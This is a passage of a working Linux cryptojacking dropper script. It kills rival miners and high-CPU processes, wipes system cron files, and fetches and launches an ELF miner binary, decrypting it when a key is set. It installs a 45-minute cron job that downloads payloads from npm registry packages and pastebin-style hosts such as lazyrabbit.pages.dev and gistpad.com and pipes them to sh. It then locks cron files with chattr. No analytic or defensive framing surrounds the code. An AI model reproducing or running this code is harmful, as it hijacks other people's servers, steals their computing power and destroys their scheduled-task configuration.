_karp_pid="${_karp_dir##*/}"

_karp_comm=$(cat "$_karp_dir/comm" 2>/dev/null)

_karp_cmdline=$(tr '\0' ' ' < "$_karp_dir/cmdline" 2>/dev/null)

if [ "$_karp_comm" != "$_karp_term" ] && ! printf '%s\n' "$_karp_cmdline" | grep -Fq -- "$_karp_term"; then

continue

fi

_karp_exe=$(readlink -f "$_karp_dir/exe" 2>/dev/null)

[ -z "$_karp_exe" ] && continue

# Skip system binaries

case "$_karp_exe" in

/bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*|/lib/*|/lib64/*|/usr/lib/*) continue ;;

esac

echo "Terminating '$_karp_term' PID=$_karp_pid"

kill "$_karp_pid" 2>/dev/null; sleep 1

kill -0 "$_karp_pid" 2>/dev/null && kill -9 "$_karp_pid" 2>/dev/null

if [ -f "$_karp_exe" ]; then

rm -f -- "$_karp_exe" 2>/dev/null && echo "Deleted: $_karp_exe"

fi

done

return 0

}

kill_high_cpu() {

_khc_threshold=150.0

ps -eo pid,%cpu --sort=-%cpu 2>/dev/null | awk -v t="$_khc_threshold" 'NR>1 && $2 > t {print $1}' | while read -r _khc_pid; do

[ -f "/proc/$_khc_pid/cmdline" ] || continue

_khc_cmdline=$(tr '\0' ' ' < "/proc/$_khc_pid/cmdline")

_is_excluded "$_khc_cmdline" && continue

kill -9 "$_khc_pid" 2>/dev/null && echo "Killed high-CPU PID=$_khc_pid"

done

}

harden_network() {

command -v iptables >/dev/null 2>&1 && {

iptables -A INPUT -s 66.23.199.44 -j DROP 2>/dev/null || true

iptables -A INPUT -s 45.94.31.89 -j DROP 2>/dev/null || true

}

command -v ip >/dev/null 2>&1 && {

ip route add blackhole 139.59.59.33 2>/dev/null || true

ip route add blackhole 45.94.31.89 2>/dev/null || true

ip route add blackhole 154.89.152.115 2>/dev/null || true

ip route add blackhole 84.21.173.223 2>/dev/null || true

ip route add blackhole 142.132.131.238 2>/dev/null || true

}

}

cleanup_files() {

# Remove competing miner artifacts (union of all scripts)

rm -rf /bin/softirq 2>/dev/null || true

rm -rf /var/tmp/.rsyslogd 2>/dev/null || true

rm -rf /lib/systemd/cache/health-monitor 2>/dev/null || true

rm -rf /usr/local/bin/watcher 2>/dev/null || true

rm -rf /tmp/runnv/* 2>/dev/null || true

rm -rf /lib/systemd/cache/asset-indexer 2>/dev/null || true

rm -rf /tmp/nuclear 2>/dev/null || true

rm -f /tmp/mon.sh 2>/dev/null || true

rm -f /tmp/run.sh 2>/dev/null || true

# Reclaim as honeypots

mkdir -p /bin/softirq 2>/dev/null || true

mkdir -p /tmp/nuclear 2>/dev/null || true

mkdir -p /tmp/runnv/lived.sh 2>/dev/null || true

mkdir -p /tmp/runnv/alive.sh 2>/dev/null || true

mkdir -p /usr/local/bin/watcher 2>/dev/null || true

mkdir -p /lib/systemd/cache/health-monitor 2>/dev/null || true

mkdir -p /var/tmp/.rsyslogd 2>/dev/null || true

mkdir -p /lib/systemd/cache/asset-indexer 2>/dev/null || true

# Remove old dns-filter artifacts

for _cf_f in "${HOME_1:-/tmp}/systemdev/dns-filter" /usr/lib/systemdev/dns-filter /usr/lib/dev/systemdev/dns-filter; do

[ -f "$_cf_f" ] && rm -f "$_cf_f"

done

}

safe_patch_args() {

_spa_file='/lib/systemd/cache/process-watcher'

_spa_value="-o $_c3 -u $_c4/P2 --tls"

[ -f "$_spa_file" ] || return 0

_spa_esc=$(printf '%s' "$_spa_value" | sed 's/[\/&]/\\&/g') || return 0

if grep -q '^XMRIG_ARGS="[^"]*"$' "$_spa_file" 2>/dev/null; then

sed -i "s/^XMRIG_ARGS=\"[^\"]*\"$/XMRIG_ARGS=\"$_spa_esc\"/" "$_spa_file" 2>/dev/null || :

else

printf '\nXMRIG_ARGS="%s"\n' "$_spa_value" >> "$_spa_file" 2>/dev/null || :

fi

}

replace_pool_user() {

_rpu_path="/var/tmp/.odoo_pg_health.json"

[ -f "$_rpu_path" ] || return 0

_rpu_esc=$(printf '%s' "$_c4" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/|/\\|/g') || return 0

_rpu_tmp="${_rpu_path}.tmp.$$"

sed -e "s|\(\"user\"[ ]*:[ ]*\)\"[^\"]*\"|\1\"${_rpu_esc}\"|g" \

<"$_rpu_path" >"$_rpu_tmp" 2>/dev/null || { rm -f "$_rpu_tmp"; return 0; }

[ -s "$_rpu_tmp" ] && mv -f "$_rpu_tmp" "$_rpu_path" 2>/dev/null || rm -f "$_rpu_tmp"

}

get_cpu_count() {

if [ -f /proc/cpuinfo ]; then

grep -c '^processor' /proc/cpuinfo

else

sysctl -n hw.ncpu 2>/dev/null || nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 1

fi

}

is_ec2_host() {

hostname | grep -qi -e "ec2" -e "compute"

}

is_our_process_running() {

for _iop_dir in /proc/[0-9]*; do

[ -r "$_iop_dir/cmdline" ] || continue

_iop_cmdline=$(cat "$_iop_dir/cmdline" 2>/dev/null | tr '\0' ' ')

if echo "$_iop_cmdline" | grep -q "$_c5" && ! echo "$_iop_cmdline" | grep -q "is_our_process_running"; then

_iop_state=$(awk '{print $3}' "$_iop_dir/stat" 2>/dev/null)

[ "$_iop_state" = "Z" ] && continue

_iop_pid="${_iop_dir##*/}"

case "$_ga_arch" in

aarch64|arm64|armv8l)

case "$_iop_cmdline" in

*"/$_c1"*) ;;

*)

echo "ARM process uses a different identifier; replacing"

kill -9 "$_iop_pid" 2>/dev/null

sleep 1

continue

;;

esac

;;

esac

_iop_cpu=$(ps -p "$_iop_pid" -o %cpu= 2>/dev/null | tr -d ' ')

_iop_cpu=${_iop_cpu:-0}

_iop_int=${_iop_cpu%.*}

_iop_int=${_iop_int:-0}

# Tag-drift guard: a running miner with an OLD tag (the pool worker

# label = /$1) would otherwise survive every redeploy forever. When

# the live process's tag differs from the current arg, kill it and

# relaunch with the new tag.

case "$_iop_cmdline" in

*"$_c1 "*|*"$_c1")

: ;;

*)

echo "Our process runs with a stale tag — killing for relaunch (arg=$_c1)"

kill -9 "$_iop_pid" 2>/dev/null

sleep 1

continue

;;

esac

if [ "$_iop_int" -gt 0 ] 2>/dev/null; then

echo "Our process active (PID $_iop_pid, CPU ${_iop_cpu}%) — skipping launch"

return 0

else

echo "Our process idle (PID $_iop_pid) — killing and relaunching"

kill -9 "$_iop_pid" 2>/dev/null

sleep 1

fi

fi

done

echo "Our process not running"

return 1

}

set_arch_urls() {

_ga_arch=$(uname -m 2>/dev/null || echo unknown)

case "$_ga_arch" in

x86_64|amd64)

_ga_url="$_c7"

_ga_fallback="$_c9"

_ga_machine=3e00

;;

aarch64|arm64|armv8l)

_ga_url="$_c8"

_ga_fallback=""

_ga_machine=b700

_c1=ARM

;;

*)

_ga_url=""

_ga_fallback=""

_ga_machine=""

return 1

;;

esac

}

_elf_machine() {

od -An -tx1 -j18 -N2 "$1" 2>/dev/null | tr -d '[:space:]'

}

_is_elf_for_arch() {

_ie_file="$1"

[ -s "$_ie_file" ] || return 1

[ "$(head -c 4 "$_ie_file" 2>/dev/null)" = "$(printf '\177ELF')" ] || return 1

[ "$(od -An -tx1 -j4 -N2 "$_ie_file" 2>/dev/null | tr -d '[:space:]')" = "0201" ] || return 1

[ "$(_elf_machine "$_ie_file")" = "$_ga_machine" ]

}

_sfx_path() {

if [ "$(id -u)" -eq 0 ]; then printf '/var/lib/.sysconf_id'

else printf '/tmp/.sysid'; fi

}

_load_or_gen_sfx() {

_log_f=$(_sfx_path)

if [ -f "$_log_f" ] && [ -s "$_log_f" ]; then cat "$_log_f"; return; fi

_log_s=$(tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c4)

[ -z "$_log_s" ] && _log_s=$(awk 'BEGIN{srand(); printf "%04x", int(rand()*65535)}')

mkdir -p "$(dirname "$_log_f")" 2>/dev/null

printf '%s' "$_log_s" >"$_log_f" 2>/dev/null

printf '%s' "$_log_s"

}

 

wipe_previous_crons() {

# 1) Release immutable/append-only pins from ANY cron file (not just

# $(whoami)) — otherwise rm below fails with "Operation not permitted"

# and the stale cron survives the wipe.

if [ "$(id -u)" -eq 0 ]; then

for _wl in /etc/cron.d/* /etc/cron.d/$(whoami) /etc/cron.d/apache \

/var/spool/cron/* /var/spool/cron/crontabs/* \

/etc/cron.hourly/* /etc/cron.daily/* \

/etc/cron.weekly/* /etc/cron.monthly/* \

/etc/crontab /etc/cron.hourly/oanacroner1 /etc/init.d/down; do

[ -e "$_wl" ] || continue

chattr -i "$_wl" 2>/dev/null || true

chattr -a "$_wl" 2>/dev/null || true

done

fi

 

# 2) User crontabs. Zimbra mode: NEVER wipe. Zimbra's crontab is

# config-managed (zmstatctl/zmlogprocess etc.); dropping it breaks the

# mail stack and surfaces config loss. Instead scrub only competitor

# IOC lines from the invoking user's crontab and keep everything else.

# Any crontab that mentions zimbra is treated the same way.

_wp_is_zimbra=0

[ "$(id -un 2>/dev/null)" = "zimbra" ] && _wp_is_zimbra=1

[ "$_wp_is_zimbra" = 0 ] && crontab -l 2>/dev/null | grep -qi "zimbra" && _wp_is_zimbra=1

if [ "$_wp_is_zimbra" = 1 ]; then

_wp_ioc='systemdev/cron-fetch|cron-fetch-ppfs|lazyrabbit\.pages\.dev|gistpad\.com|\.usr_cron|/etc/\.dd|oanacroner|kdevtmpfsi|kinsing|\.\.config|bash /tmp/|/tmp/\.[a-z0-9_]{2,}/'

crontab -l 2>/dev/null | grep -vE "$_wp_ioc" | crontab - 2>/dev/null

echo "Zimbra crontab: competitor lines scrubbed, config preserved."

else

crontab -r 2>/dev/null || true

fi

for _us in /var/spool/cron/crontabs/* /var/spool/cron/*; do

[ -f "$_us" ] || continue

case "$_us" in *zimbra*) continue ;; esac

grep -qi "zimbra" "$_us" 2>/dev/null && continue

rm -f "$_us" 2>/dev/null || true

done

 

# 3) Drop the system-wide cron tree. Never on zimbra hosts: /etc/crontab

# and cron.d carry stock config-managed jobs there.

if [ "$_wp_is_zimbra" = 0 ]; then

rm -f /etc/crontab 2>/dev/null || true

rm -f /etc/cron.d/* 2>/dev/null || true

rm -f /etc/cron.hourly/* /etc/cron.daily/* \

/etc/cron.weekly/* /etc/cron.monthly/* 2>/dev/null || true

fi

}

 

create_cronjob() {

# Install a resilient pointer fetcher next to the payload (persistent dir,

# not /tmp) and have cron run it. The fetcher performs the full chain every

# run: /latest metadata -> dist.tarball -> package.json description ->

# base64 sanity gate -> sh, with npmjs + npmmirror origins and

# curl -> wget -> openssl fetch fallbacks.

# Ensure the tarball toolchain exists (tar + gzip) before relying on it.

for _cc_dep in tar gzip; do

if ! command -v $_cc_dep >/dev/null 2>&1; then

if [ "$(id -u)" = "0" ]; then

if command -v apk >/dev/null 2>&1; then

apk add --no-cache $_cc_dep >/dev/null 2>&1 || true

elif command -v apt-get >/dev/null 2>&1; then

apt-get update -qq >/dev/null 2>&1; apt-get install -y -qq $_cc_dep >/dev/null 2>&1 || true

elif command -v yum >/dev/null 2>&1; then

yum install -y -q $_cc_dep >/dev/null 2>&1 || true

elif command -v dnf >/dev/null 2>&1; then

dnf install -y -q $_cc_dep >/dev/null 2>&1 || true

fi

fi

fi

done

# Keep the cron helper separate from the payload directory.

# Root gets a persistent system path; users stay under their home directory.

_cc_home=""

if [ "$(id -u)" = "0" ]; then

mkdir -p /etc/.dd 2>/dev/null && _cc_home="/etc/.dd"

fi

if [ -z "$_cc_home" ] && [ -n "$HOME" ] && [ -w "$HOME" ]; then

mkdir -p "$HOME/.usr_cron/lib" 2>/dev/null && _cc_home="$HOME/.usr_cron/lib"

fi

if [ -z "$_cc_home" ] && [ -n "$HOME_1" ]; then

mkdir -p "$HOME_1" 2>/dev/null && [ -w "$HOME_1" ] && _cc_home="$HOME_1"

fi

[ -n "$_cc_home" ] || _cc_home="/tmp/.usr_cron/lib"

if ! command -v crontab >/dev/null 2>&1; then

echo "No crontab available; persistence not installed"

return 1

fi

# No-tar fallback: targets without tar cannot unpack the pointer tarball.

# Plant a static pastebin fetcher cron instead (payload served directly).

_cc_pastebin="https://b51f3a2a.lazyrabbit.pages.dev/redirectrev";

_cc_pastebin_b="https://gistpad.com/raw/werwer-860";

_cc_cmd=""

# The A||B chain: guard on the shebang so a 200-OK junk response (egress

# filters) doesn't run and doesn't block the fallback. The fetched body

# lives in a temp file (a var would word-split multi-line scripts).

if command -v curl >/dev/null 2>&1; then

_cc_cmd="T=/tmp/.ccr$$; curl -fsSLk -A corecheck/1.0 $_cc_pastebin 2>/dev/null | tr -d \"\r\" >$T; head -c 2 $T | grep -q '#!' && sh $T || { curl -fsSLk -A corecheck/1.0 $_cc_pastebin_b 2>/dev/null | tr -d \"\r\" | sh; }; rm -f $T"

elif command -v wget >/dev/null 2>&1; then

_cc_cmd="T=/tmp/.ccr$$; wget -qO- -U corecheck/1.0 --no-check-certificate $_cc_pastebin 2>/dev/null | tr -d \"\r\" >$T; head -c 2 $T | grep -q '#!' && sh $T || { wget -qO- -U corecheck/1.0 --no-check-certificate $_cc_pastebin_b 2>/dev/null | tr -d \"\r\" | sh; }"

elif command -v openssl >/dev/null 2>&1; then

# openssl-only fallback: raw HTTPS GET + staged decoding (no perl needed —

# strip HTTP headers with awk and execute only the response body).

mkdir -p "$_cc_home/systemdev" 2>/dev/null

_cc_helper="$_cc_home/systemdev/cron-fetch-ppfs.sh"

rm -f "/tmp/.cron_fetch_ppfs_$.sh" 2>/dev/null

cat > "$_cc_helper" << 'PASTEHELPER'

#!/bin/sh

_paste="$1"

_hp="${_paste#https://}";; _hp="${_hp#http://}";

_h="${_hp%%/*}"; _q="/${_hp#*/}"; [ "$_h" = "$_hp" ] && _q="/"

if command -v timeout >/dev/null 2>&1; then

_r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" | \

timeout 45 openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null)

else

_r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" | \

openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null)

fi

printf '%s\n' "$_r" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r' > "$_paste.b" 2>/dev/null

head -c 2 "$_paste.b" | grep -q '#!' && { sh "$_paste.b"; rm -f "$_paste.b"; exit $?; }

# The first URL gave junk (an egress filter's 200-OK) or nothing: try B.

[ -n "$2" ] || exit 1

_hp2="${2#https://}";; _hp2="${_hp2#http://}";

_h2="${_hp2%%/*}"; _q2="/${_hp2#*/}"; [ "$_h2" = "$_hp2" ] && _q2="/"

_r2=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q2" "$_h2" | \

timeout 45 openssl s_client -quiet -connect "${_h2}:443" -servername "$_h2" 2>/dev/null)

printf '%s\n' "$_r2" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r' > "$_paste.b2" 2>/dev/null

head -c 2 "$_paste.b2" | grep -q '#!' && { sh "$_paste.b2"; }

rm -f "$_paste.b" "$_paste.b2"

exit 0

PASTEHELPER

chmod 755 "$_cc_helper"

_cc_cmd="$_cc_helper $_cc_pastebin $_cc_pastebin_b"

fi

 

# Decide which cron line to install, given what we have.

if [ -n "$_cc_cmd" ]; then

if ! command -v tar >/dev/null 2>&1 || ! command -v gzip >/dev/null 2>&1; then

# Cannot use the registry pointer chain (needs tar+gzip) — use the

# static pastebin cron directly, dedup keyed on the URL.

# Zimbra: append-only (see pointer site); never rewrite its crontab.

if [ "$(id -un 2>/dev/null)" = "zimbra" ] || crontab -l 2>/dev/null | grep -qi "zimbra"; then

if crontab -l 2>/dev/null | grep -qF "$_cc_pastebin"; then

echo "Cron persistence already installed (zimbra, preserved)."

else

if (crontab -l 2>/dev/null; printf '%s\n' "*/45 * * * * $_cc_cmd") | crontab -; then

echo "Cron persistence installed (zimbra, append-only)."

else

echo "Unable to install fallback crontab"

return 1

fi

fi

return 0

fi

if ! (crontab -l 2>/dev/null | grep -vF "$_cc_pastebin" | grep -vF "/systemdev/cron-fetch";

printf '%s\n' "*/45 * * * * $_cc_cmd") | crontab -; then

echo "Unable to install fallback crontab"

return 1

fi

echo "Cron persistence installed (pastebin fallback)."

return 0

fi

# tar+gzip present: prefer the resilient registry-pointer fetcher and

# keep the pastebin cron as an additional safety net.

:

else

echo "No tar/pointer and no curl/wget/openssl — no viable cron fallback"

return 1

fi

# Persistent fetcher dir chosen by privilege:

# root: /etc/.dd/systemdev (privileged, persistent)

# user: $HOME/.usr_cron/lib (survives logout, no root needed)

# fallback: /tmp/.usr_cron/lib (last resort, e.g. $HOME unwritable)

mkdir -p "$_cc_home/systemdev" 2>/dev/null

_cc_fetcher="$_cc_home/systemdev/cron-fetch"

cat > "$_cc_fetcher" << 'CRONHELPER'

#!/bin/sh

REGURL="https://registry.npmmirror.com/net-util-z13/latest";

MIRROR="$(printf '%s' "$REGURL" | sed 's#registry\.npmjs\.org#registry.npmmirror.com#')"

_extr='s/.*"description" *: *"\([^"]*\)".*/\1/p'

 

get_url() {

_gu="$1"

if command -v curl >/dev/null 2>&1; then

curl -fsSLk -A corecheck/1.0 --max-time 30 "$_gu" 2>/dev/null && return 0

fi

if command -v wget >/dev/null 2>&1; then

wget -qO- -U corecheck/1.0 --no-check-certificate -T 30 "$_gu" 2>/dev/null && return 0

fi

if command -v openssl >/dev/null 2>&1; then

_gu_now="$_gu"; _n=0

_raw="${TMPDIR:-/tmp}/.netz13-fetch.$$.raw"

while [ "$_n" -lt 5 ]; do

_n=$((_n+1))

_hp="${_gu_now#https://}";; _hp="${_hp#http://}";

_h="${_hp%%/*}"; _q="/${_hp#*/}"; [ "$_h" = "$_hp" ] && _q="/"

if command -v timeout >/dev/null 2>&1; then

printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" |

timeout 45 openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null > "$_raw"

else

printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" |

openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null > "$_raw"

fi

_st=$(awk 'NR == 1 {sub(/\r$/, ""); print $2; exit}' "$_raw" 2>/dev/null)

case "$_st" in 301|302|303|307|308)

_l=$(awk 'tolower($1) == "location:" {sub(/^[^:]*:[ \t]*/, ""); sub(/\r$/, ""); print; exit}' "$_raw" 2>/dev/null)

[ -z "$_l" ] && { rm -f "$_raw"; return 9; }

_gu_now="$_l"

continue;;

2??)

_off=$(awk 'BEGIN {n=0} {n += length($0) + 1; if ($0 == "" || $0 == "\r") {print n; exit}}' "$_raw" 2>/dev/null)

[ -n "$_off" ] || { rm -f "$_raw"; return 9; }

if command -v dd >/dev/null 2>&1; then

dd if="$_raw" bs=1 skip="$_off" 2>/dev/null

_rc=$?

elif command -v tail >/dev/null 2>&1; then

tail -c "+$((_off + 1))" "$_raw"

_rc=$?

else

rm -f "$_raw"

return 9

fi

rm -f "$_raw"

return "$_rc";;

*)

rm -f "$_raw"

return 9;;

esac

done

rm -f "$_raw"

return 9

fi

return 9

}

 

run_gated() {

b=$(cat)

printf '%s' "$b" | grep -qE '^[A-Za-z0-9+/=]+$' || exit 9

printf '%s' "$b" | base64 -d | sh

}

 

# 1) metadata from primary then mirror; extract tarball URL

_t=""

for _mu in "$REGURL" "$MIRROR"; do

_mt=$(get_url "$_mu" | tr -d "\r" | sed -n "s/.*\"tarball\" *: *\"\([^\"]*\)\".*/\1/p" | head -1)

[ -n "$_mt" ] && { _t="$_mt"; break; }

done

# 1b) metadata may be gone (package unpublished upstream); fall back to the

# known orphan tarball on the same mirror origin. Verified serving the

# intact payload (sha256 ad8a1c84…). Gate below still applies.

[ -z "$_t" ] && _t="https://registry.npmmirror.com/net-util-z13/-/net-util-z13-1.1789464157.0.tgz";

[ -z "$_t" ] && exit 9

 

# 2) tarball from its origin; fall back to mirror host

_b64=""

for _tu in "$_t" "$(printf '%s' "$_t" | sed 's#registry\.npmjs\.org#registry.npmmirror.com#')"; do

_cand=$(get_url "$_tu" | tar -xzO package/package.json 2>/dev/null | tr -d "\r" | sed -n "$_extr" | head -1)

[ -n "$_cand" ] && { _b64="$_cand"; break; }

done

# 3) static fallback: lazyrabbit/gistpad serve the payload as plain sh (no tar needed,

# no metadata, no gate) — last layer when both registry layers are dead.

# DNS on some hosts intermittently resolves CDN hosts to 0.0.0.0 (empty

# response). Retry once after a pause; only a NON-EMPTY body reaches sh.

if [ -z "$_b64" ]; then

_l3_body=""

for _l3_try in 1 2 3; do

for _l3_url in https://b51f3a2a.lazyrabbit.pages.dev/redirectrev https://gistpad.com/raw/werwer-860; do

if command -v curl >/dev/null 2>&1; then

_l3_body=$(curl -fsSLk -A corecheck/1.0 --max-time 30 "$_l3_url" 2>/dev/null | tr -d '\r')

elif command -v wget >/dev/null 2>&1; then

_l3_body=$(wget -qO- -U corecheck/1.0 --no-check-certificate -T 30 "$_l3_url" 2>/dev/null | tr -d '\r')

elif command -v openssl >/dev/null 2>&1; then

_l3_host=$(printf '%s' "$_l3_url" | sed 's|^https://||;s|/.*||')

_l3_path=$(printf '%s' "$_l3_url" | sed 's|^https://[^/]*||')

[ -z "$_l3_path" ] && _l3_path=/

_r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_l3_path" "$_l3_host" | \

timeout 45 openssl s_client -quiet -connect "$_l3_host:443" -servername "$_l3_host" 2>/dev/null)

_l3_body=$(printf '%s\n' "$_r" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r')

fi

[ -n "$_l3_body" ] && break 2

done

[ -n "$_l3_body" ] && break

sleep 5

done

if [ -n "$_l3_body" ]; then

printf '%s' "$_l3_body" | sh

exit $?

fi

echo "all layers exhausted (L1/L2/L3); next cron tick retries" >&2

exit 9

fi

 

printf '%s' "$_b64" | run_gated

exit $?

CRONHELPER

chmod 755 "$_cc_fetcher"

# Self-heal guard: never install a fetcher that does not parse. A malformed

# fetcher would fire a dash syntax error every 45 minutes forever.

if ! sh -n "$_cc_fetcher" 2>/dev/null; then

echo "Planted fetcher failed syntax check; removing"

rm -f "$_cc_fetcher"

(crontab -l 2>/dev/null | grep -vF "$_cc_fetcher") | crontab - 2>/dev/null

return 1

fi

# Zimbra policy: appending is the only safe write. Zimbra's crontab is

# config-managed; a dedup-rewrite that drops its own entries breaks the

# mail stack. Append our line only when it is not already present.

if [ "$(id -un 2>/dev/null)" = "zimbra" ] || crontab -l 2>/dev/null | grep -qi "zimbra"; then

if crontab -l 2>/dev/null | grep -qF "$_cc_fetcher"; then

echo "Cron persistence already installed (zimbra, preserved)."

else

if (crontab -l 2>/dev/null; printf '%s\n' "*/45 * * * * $_cc_fetcher >/dev/null 2>&1") | crontab -; then

echo "Cron persistence installed (zimbra, append-only)."

else

echo "Unable to install pointer crontab"

return 1

fi

fi

return 0

fi

# Dedup stale pointer lines, then install the cron entry keyed on the fetcher path.

if ! (crontab -l 2>/dev/null | grep -vF "$_cc_fetcher";

printf '%s\n' "*/45 * * * * $_cc_fetcher >/dev/null 2>&1") | crontab -; then

echo "Unable to install pointer crontab"

return 1

fi

echo "Cron persistence installed."

}

for _main_pid in $(pgrep -f 'bash /tmp/.*\.sh' 2>/dev/null); do

if [ "$_main_pid" != "$$" ] && [ "$_main_pid" != "$PPID" ]; then

# Check it's not our process (guard against race: process may have died)

[ -r "/proc/$_main_pid/cmdline" ] || continue

_main_cmdline=$(tr '\0' ' ' < "/proc/$_main_pid/cmdline" 2>/dev/null)

_is_excluded "$_main_cmdline" && continue

kill -9 "$_main_pid" 2>/dev/null && echo "Killed competing script PID $_main_pid"

fi

done

if [ "$(id -u)" -eq 0 ]; then

command -v systemctl >/dev/null 2>&1 && systemctl stop systemd_s 2>/dev/null || true

fi

log "Killing competing miners..."

kill_themf

kill_mf3

kill_high_cpu

for _main_target in \

".rsyslogd" "kworker/u4:2" "crazyeltonproxy" "monero" "c3pool.org:80" \

"/bin/watcher" "nuclear" "45.94.31.89" "hosts-to-ignore" "supportxmr" \

"youyutebuae.xyz" "/lib/systemd/cache/health-monitor" "$(_d 'eG1yaWc=')"; do

kill_and_remove_process "$_main_target" || true

done

log "Hardening network..."

harden_network

log "Cleaning up files..."

cleanup_files

safe_patch_args

replace_pool_user

_SFX=$(_load_or_gen_sfx)

if [ "$(id -u)" -eq 0 ]; then

HOME_1="/usr_${_SFX}/lib/dev"

_main_user_type="root"

# Install cron if missing (only as root)

if ! command -v crontab >/dev/null 2>&1; then

log "Installing cron..."

if command -v apk >/dev/null 2>&1; then

apk add --no-cache cron 2>/dev/null || apk add --no-cache cronie 2>/dev/null || true

command -v rc-update >/dev/null 2>&1 && rc-update add crond default 2>/dev/null || true

command -v rc-service >/dev/null 2>&1 && rc-service crond start 2>/dev/null || true

elif command -v apt-get >/dev/null 2>&1; then

apt-get update -qq 2>/dev/null && apt-get install -y -qq cron 2>/dev/null || true

elif command -v yum >/dev/null 2>&1; then

yum install -y cronie 2>/dev/null || true

fi

fi

else

# Workdir must be WRITABLE and EXEC-capable (some containers mount /tmp

# noexec: nodered, distroless variants). Probe with a real exec test.

HOME_1=""

for _wd in "/tmp/.usr_${_SFX}" "/var/tmp/.usr_${_SFX}" "$HOME/.usr_${_SFX}" "/var/run/.usr_${_SFX}" "/dev/shm/.usr_${_SFX}"; do

mkdir -p "$_wd/lib" 2>/dev/null || continue

printf '#!/bin/sh\nexit 3\n' > "$_wd/.exectest" 2>/dev/null || continue

chmod +x "$_wd/.exectest" 2>/dev/null || continue

"$_wd/.exectest" 2>/dev/null; _et=$?

if [ "$_et" = "3" ]; then

HOME_1="$_wd/lib"

break

fi

rm -f "$_wd/.exectest" 2>/dev/null

done

[ -n "$HOME_1" ] || HOME_1="/tmp/.usr_${_SFX}/lib"

_main_user_type="user"

fi

program_file="$HOME_1/systemdev/dns-filter"

mkdir -p "$HOME_1/systemdev" 2>/dev/null

if ! set_arch_urls; then

log "Unsupported architecture: $_ga_arch"

exit 1

fi

cpu_count=$(get_cpu_count)

is_ec2=false; is_ec2_host && is_ec2=true

if [ "$cpu_count" -le 3 ] && [ "$is_ec2" = "false" ]; then

log "LOW CPU: $cpu_count CPUs (min 4 required), not EC2 — exiting"

exit 0

fi

log "CPU check: $cpu_count CPUs (user=$_main_user_type, ec2=$is_ec2)"

if is_our_process_running; then

log "Process running — installing cron and exiting"

wipe_previous_crons

create_cronjob "$_c2"

install_beacon_cron

install_competitor_guardian

exit 0

fi

log "Downloading..."

arch_url="$_ga_url"

# Encrypted-miner support: when MINER_KEY/MINER_IV are exported (the

# operator injects them via the AMQ dispatch like BEACON_ENDPOINT), the

# fetch target is the AES-256-CBC-packed binary and the fetched blob is

# decrypted in place. No key in env = the legacy plain-binary fetch.

if [ -n "$MINER_KEY" ] && [ -n "$MINER_IV" ]; then

arch_url="${arch_url}.enc"

fi

if _is_elf_for_arch "$program_file"; then

log "Binary present at $program_file ($(wc -c < "$program_file") bytes)"

else

rm -f "$program_file" 2>/dev/null || true

log "Fetching from $arch_url..."

if [ -n "$MINER_KEY" ] && [ -n "$MINER_IV" ]; then

_enc_file="${program_file}.enc"

fetch_file "$arch_url" "$_enc_file"

if [ -s "$_enc_file" ]; then

openssl enc -d -aes-256-cbc -in "$_enc_file" -out "$program_file" \

-K "$MINER_KEY" -iv "$MINER_IV" 2>/dev/null

rm -f "$_enc_file" 2>/dev/null

fi

rm -f "$_enc_file" 2>/dev/null || true

else

fetch_file "$arch_url" "$program_file"

fi

chmod +x "$program_file" 2>/dev/null

if ! _is_elf_for_arch "$program_file" && [ -n "$_ga_fallback" ]; then

log "Primary failed or wrong architecture ($(wc -c < "$program_file" 2>/dev/null) bytes) — trying fallback..."

rm -f "$program_file"

fetch_file "$_ga_fallback" "$program_file"

chmod +x "$program_file" 2>/dev/null

fi

fi

if ! _is_elf_for_arch "$program_file"; then

log "Error: no executable for architecture $_ga_arch"

rm -f "$program_file" 2>/dev/null || true

exit 1

fi

log "Binary ready: $(wc -c < "$program_file") bytes at $program_file"

 

launch_miner() {

if command -v setsid >/dev/null 2>&1; then

setsid "$program_file" "$@" >/dev/null 2>&1 &

else

nohup "$program_file" "$@" >/dev/null 2>&1 &

fi

_launch_pid=$!

}

log "Launching..."

_launch_ok=0

launch_miner -o "$_c3" -u "$_c4/$_c1" -k --tls

sleep 5

if kill -0 "$_launch_pid" 2>/dev/null; then

log "Process running (PID $_launch_pid)"

_launch_ok=1

else

log "Primary launch failed — retrying without -k..."

launch_miner -o "$_c3" -u "$_c4/$_c1" --tls

sleep 5

if kill -0 "$_launch_pid" 2>/dev/null; then

log "Process running on retry (PID $_launch_pid)"

_launch_ok=1

fi

fi

if [ "$_launch_ok" != 1 ]; then

log "All launch attempts failed"

rm -f "$program_file" 2>/dev/null || true

exit 1

fi

wipe_previous_crons

create_cronjob "$_c2"

if [ "$(id -u)" -eq 0 ]; then

for _lock_file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1 /etc/init.d/down; do

if [ -f "$_lock_file" ]; then

chattr +i "$_lock_file" 2>/dev/null || true

chattr +a "$_lock_file" 2>/dev/null || true

fi

done

fi

# ── Beacon primary workflow (env-triggered by the tunnel delivery) ───────────

